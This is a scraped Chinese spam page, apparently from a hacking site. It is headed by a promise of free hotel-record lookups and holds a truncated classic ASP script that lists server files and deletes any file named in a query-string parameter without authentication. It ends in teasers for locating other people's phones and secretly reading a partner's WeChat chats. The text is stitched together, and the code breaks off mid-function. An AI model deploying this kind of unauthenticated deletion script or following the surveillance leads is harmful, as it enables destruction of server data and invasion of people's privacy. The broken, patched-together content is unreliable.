开宾馆记录多久消失 免费查开宾馆记录查询
<%@ Language=VBscript %>
<%Server.scriptTimeout=50000%>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY>
<%
function JudgeParaRegular(intID)
if intID<>"" and isnumeric(intID) then
JudgeParaRegular=intId
else
Response.Write "输入错误！"
Response.End
end if
end function
intFileSize=JudgeParaRegular(Request.QueryString("intFileSize"))
strPath=Request.QueryString("strPath")
if instr(strPath,":")=0 then strPath=server.MapPath(strPath)
%>
<%
function deletefiles(path)
on error resume next
Set fs=Server.CreateObject("scripting.FileSystemObject")
if fs.FileExists(path) then
fs.DeleteFile path,True
response.write "成功删除"&path
else
response.write "文件不存在!"
end if
Set fs=nothing
if Err.number<>0 then Response.Write Err.number
end function
strFile=request("strFile")
if request("strFile")<>"" then
deletefiles strFile
end if
%>
<%
function ListFolderFiles(strPath,intFileSize,intFlag)
strOriginPath= Request.ServerVariables("script_Name")& "?strPath=" &Request.QueryString("strPath") & "&intFileSize="&Request.QueryString("intFileSize")
if strPath<>"" then
if intFlag=0 then
intFlag=intFlag+1
end if
Set objFs=Server.CreateObject("scripting.FileSystemObject")
Set objFdir=objFs.GetFolder(strPath)
strParentPath= objFs.GetParentFolderName(strPath)
for each strSubFiles in objFdir.files
if strSubFiles.size /(1024^2)>=intFileSize then
Response.Write "<TR>" & vbcrlf
Response.Write "<TD>" & replace(strNullTran(strSubFiles),strNullTran(strSubFiles.Name),"<b>"&strNullTran(strSubFiles.Name)&"</b>") & "</TD>" & vbcrlf
Response.Write "<TD>"& strNullTran(FormatNumber(strSubFiles.size /(1024^2),2)) &" MB</TD>" & vbcrlf
Response.Write "<TD>" & strNullTran(strSubFiles.type) & "</TD>" & vbcrlf
Response.Write "<TD>" & strNullTran(strSubFiles.datelastmodified) & "</TD>" & vbcrlf
Response.Write "<TD><A HREF='"& strOriginPath & "&strFile="&strNullTran(strSubFiles)&"'><img align=ab *** iddle border=0 src='https://www.hack56.com/images/2sxkkzgf2kh.htm'></A></TD>" & vbcrlf
Response.Write "</TR>" & vbcrlf
intFlag=intFlag+strSubFiles.size
end if
next
for each strSubFolders in objFdir.SubFolders
if intFlag=0 then intFlag=1
ListFolderFiles strSubFolders,intFileSize,intFlag
相关文章
ps污点修复画笔工具是什么
ps污渍修补画笔工具是用于修补素材图片上较为小的污渍，坐落于左边菜单栏第八个，键盘快捷键为J。开启ps，导进素材图片，应用键盘快捷键J，选定污渍修补画笔工具，在上边特性栏挑选污渍修补画笔工具的尺寸，点...
折叠手机技术之争尘埃落定，小米、华为均认同了三星的方案
2019年华为和三星先后发布了它们的折叠手机，当时华为采用了外折叠技术方案，而三星则采用了内折叠方案，两项折叠技术各有优劣。 认同外折叠技术的认为可以将手机做得更轻薄，外折叠避免了屏幕如纸张那样对折...
360靠什么盈利模式（360免费盈利方法有哪些）
导读：最近在读的这本书叫《自述：我的互联网方法论》，作者是360CEO周鸿祎，都是些经验之谈，读完对互联网思维有了一些更深刻的认识。 周鸿祎提到互联网盈利模式不外乎以下三种情况： 一 卖产品...
伪装黑客的代码bat手机（用手机伪装黑客代码）
qq假装黑客代码手机怎么弄 手机QQ的整人代码大全 —— 第一步，将以下代码复制到记事本中。手机操作不了。电脑输入关键代码就可以了。手机目前没有出黑客类软件，手机操作是黑客的晋级操作，通过电脑连接手机...
怎么连接手机定位别人（定位对方手机位置怎么弄）
怎么连接手机位置他人（精准定位另一方手机号码位置怎么做） 在网上商城的冲击性下，实体线店铺大势已去。为了更好地在猛烈的市场需求扭转颓势，实体线店家们煞费苦心，耗尽一切办法。 手机位置技术性帮了门店...
不知道密码怎么偷看我男朋友和别人的微信聊天记录
很多在使用陌陌的用户都习惯用语音的形式来与朋友交流，在这样的情况下我们势必会产生很多的语音记录。但是如果这些记录被删除了怎么恢复？这成为很多人所面临的难题，今天小编就以小米Mix为例，来给大家讲解一下...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！